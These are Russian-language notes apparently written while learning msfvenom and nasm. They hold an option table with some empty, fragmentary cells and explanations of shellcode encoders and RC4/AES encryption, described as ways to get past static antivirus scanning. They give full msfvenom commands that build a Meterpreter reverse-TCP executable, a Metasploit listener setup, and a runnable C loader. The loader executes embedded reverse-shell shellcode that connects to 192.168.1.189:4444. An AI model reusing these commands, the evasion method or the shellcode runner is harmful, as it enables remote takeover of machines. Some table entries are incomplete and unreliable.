MSFvenom & nasm
Консоль nasm служит для получения opcode для команд.
MSFvenom
Инструмент для генерации shellcode, исполняемых файлов, и т д, для использования эксплойтов снаружи msf. Основной элемент настройки - payload поэтому около него все крутится.
Энкодер. MSFvenom берёт исходный payload и пропускает его через encoder, который меняет последовательность байтов, но добавляет в начало декодер — небольшой фрагмент кода, который при запуске восстанавливает исходный шеллкод в памяти и выполняет его.
x86/shikata_ga_nai - часто используемый, универсальный энкодер.
Шифрование нагрузки. Полученный payload шифруется (scramble) побайтно. В результат добавляется декриптор/загрузчик, который при запуске расшифровывает payload в памяти и затем выполняет его. Отличие от энкодеров:
- Энкодер полиморфно преобразует байты (обычно XOR-подобные трансформации, shikata_ga_nai и т. п.), задача — убрать «плохие байты» и усложнить статический анализ.
- --encrypt использует криптографические алгоритмы (напр., AES, RC4, Base64), и обычно даёт лучшее сопротивление простому статическому сканированию.
# пример: зашифровать RC4 и задать ключ
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
--encrypt rc4 --encrypt-key 'mysecretkey' -f exe -o payload.exe
# пример AES (названия алгоритмов зависят от версии msfvenom)
msfvenom -p ... --encrypt aes256 --encrypt-key '32_byte_key_here' -f raw -o out.bin
Важные нюансы и ограничения
- Не все форматы/пейлоады поддерживают шифрование одинаково. В некоторых версиях/для некоторых платформ --encrypt может не влиять на итог (или работать только для Windows/PE). Нужно проверять отдельно.
- Нужен ключ, без ключа шифрование бессмысленно
- Декриптор тоже должен удовлетворять --bad-chars — декодер/декриптор добавляет байты, которые тоже не должны содержать запрещённые символы.
- Шифрование помогает против простых сигнатур, но поведенческий анализ/динамический анализ всё ещё могут детектировать payload.
- Стадированные vs безстадированные payload'ы. Поведение может отличаться для staged/stageless payload’ов: в некоторых случаях шифрование применяется только на одной стадии. Проверяй результат (хеш/размер/поведение).
Проверка
- Сравни MD5/sha256 до и после — если шифрование активно, хеши и байты файла должны измениться.
- Посмотри вывод msfvenom — он обычно указывает, что применялось шифрование/декодер и итоговый размер.
- Тестируй в изолированной среде (виртуалка), чтобы убедиться, что декодер корректно восстанавливает payload и он выполняется.
Шифрование и кодирование может применяться вместе.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
-e x86/shikata_ga_nai -i 3 \
--encrypt rc4 --encrypt-key 'mysecret' \
-b '\x00\x0a\x0d' -f exe -o payload.exe
| Просмотр информации |
|
| -l, --list <type> |
Список модулей указанного типа. Варианты типов: payloads, encoders, nops, platforms, archs, encrypt, formats, all
Можно дополнительно фильтровать по свойствам: --platform платформа --arch архитектура
|
| --list-options |
Список опций для данной нагрузки.
|
| Настройка нагрузки | |
| -p, --payload <payload> | Нагрузка для использования |
| -t, --timeout <second> |
Сколько секунд инструмент будет ждать при чтении полезной нагрузки (payload) из STDIN.
То есть, можно взять свой бинарный файл и его например закодировать. 0 - бесконечно (ждем сколько надо). |
| -s, --space <length> | Максимальный размер результирующей нагрузки. |
| Настройка энкодера | |
| -e, --encoder <encoder> | Используемый энкодер. |
| --encoder-space <length> | Максимальный размер закодированной нагрузки, по умолчанию значение -s |
| --smallest | Сгенерировать минимально возможную по размеру нагрузку, используя все возможные encoders. Видимо не сочетается с -e. |
| -i, --iterations <count> | Количество проходов энкодера |
| -b, --bad-chars <list> |
Набор байтов (символов), которые нужно избегать в сгенерированном shellcode.
Как указывать Примеры в bash:
Важно: экранирование зависит от оболочки (в PowerShell/Windows CMD нужно иное экранирование).
В начало добавляется декодер-стаб (который тоже должен не содержать bad-chars), поэтому выбирается энкодер и/или увеличить число итераций (-i) чтобы получить корректный результат. Ограничения.
Проверка результата
Советы
Часто используемый минимум
Это самые распространённые, их почти всегда добавляют в --bad-chars. Дополнительные байты в зависимости от вектора
Специальные случаи и алфавиты
|
| Настройка шифрования |
|
| --encrypt <value> |
Тип шифрования payload |
| --encrypt-key <value> |
Ключ шифрования |
| --encrypt-iv <value> |
Вектор инициализации для шифрования. |
| NOP |
|
| -n, --nopsled <length> |
Вставляет зону заполнения инструкциями «NOP» перед основным shellcode, чтобы при попадании управления в произвольное место этой зоны с вероятностью выше попасть в начало шеллкода. Полезно при эксплуатациях (buffer overflow, return‑oriented jump и т.п.) — создаёт «landing zone», повышая шанс успешного перехода на рабочий код. Зачем нужен
Пример использования (вставляем 64 байта NOP перед payload):
В результате файл payload.bin начнётся с 64 NOP‑байтов, затем пойдёт декодер/сам payload. Важные нюансы
Проверка
|
| --pad-nops |
Использует размер nopsled, указанный с помощью -n <длина>, в качестве общего размера полезной нагрузки, автоматически добавляя nopsled количества (nops минус длина полезной нагрузки). |
| Дополнительные настройки | |
| --platform <platform> | Платформа для payload |
| -a, --arch <arch> | Архитектура для payload или encoders |
| --service-name <value> | Имя сервиса при генерации бинарника для сервиса. |
| -v, --var-name <value> |
Имя переменной, которое будет использоваться в сгенерированном исходном коде (например для типов файла -f c, -f python, -f ruby, -f perl и т.п.). Удобно при встраивании shellcode в исходный файл. Когда применяется
Примеры C:
Результат (фрагмент) будет содержать:
Python:
Результат:
Ограничения и советы
|
| Объединение кода | |
| -x, --template <path> |
Бинарник, в который нужно добавить созданную нагрузку. Не изменяет существующую логику бинарника. Т е заменяется некая часть. Не подходит для инъекции в любые приложения. -k, --keep Сохранить шаблон, а payload добавить в новый поток. |
| --sec-name <value> |
Имя новой секции (section) PE-(Windows)-файла, в которую msfvenom размещает большой payload при генерации исполняемого файла. По умолчанию случайное 4 символьное слово. Актуально если payload не помещается в существующие секции шаблона, msfvenom создаёт дополнительную секцию в PE-образе; --sec-name позволяет задать имя секции вместо случайного.
|
| -c, --add-code <path> |
Добавляем дополнительный shellcode. Это позволяет сложить несколько шэллкодов в один. Это полезно, если нужно включить заранее подготовленный код (например, MessageBox-демо, кастомный инжектор, bootstrap-stub и т.п.) вместе с payload от Metasploit.
|
| Настройки результата | |
| -o, --out <path> | Путь и имя создаваемого файла |
| -f, --format <format> | Формат создаваемого файла |
Объединение нагрузки и чего-нибудь своего.
Задача: собрать объединенный бинарник, из first_copy.out (выводит ждет ввода данных и reverse shell из metasploit). Новый бинарь закинуть обратно на существующую машину.
Подготовка. Для проверки работы запустим listener на Kali и будем ждать соединения.
msf> use exploit/multi/handler
msf> set payload linux/x64/shell_reverse_tcp
msf> set LHOST 192.168.1.189
msf> exploit
Просто генерация кода работает. Но дальше - болт. Предположения в части шаблонов, добавления сегмента и объединения кода как-то плохо пошли. Чего-то базового не понимаю. Похоже, инжектировать код в абстрактную программу довольно сложный процесс. Однако это критичная задача. Начнем с малого.
СоздаДобавление нагрузки в виде шелл-кода в исходный код
Последовательное исполнение, C:
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
int main() {
// Шеллкод для linux/x64/shell_reverse_tcp
unsigned char shellcode[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x11\x5c\xc0\xa8\x01\xbd\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
printf("Shellcode length: %zu\n", strlen(shellcode));
// Выделяем исполняемую память
void *exec = mmap(0, sizeof(shellcode), PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memcpy(exec, shellcode, sizeof(shellcode));
// Выполняем
((void(*)())exec)();
return 0;
}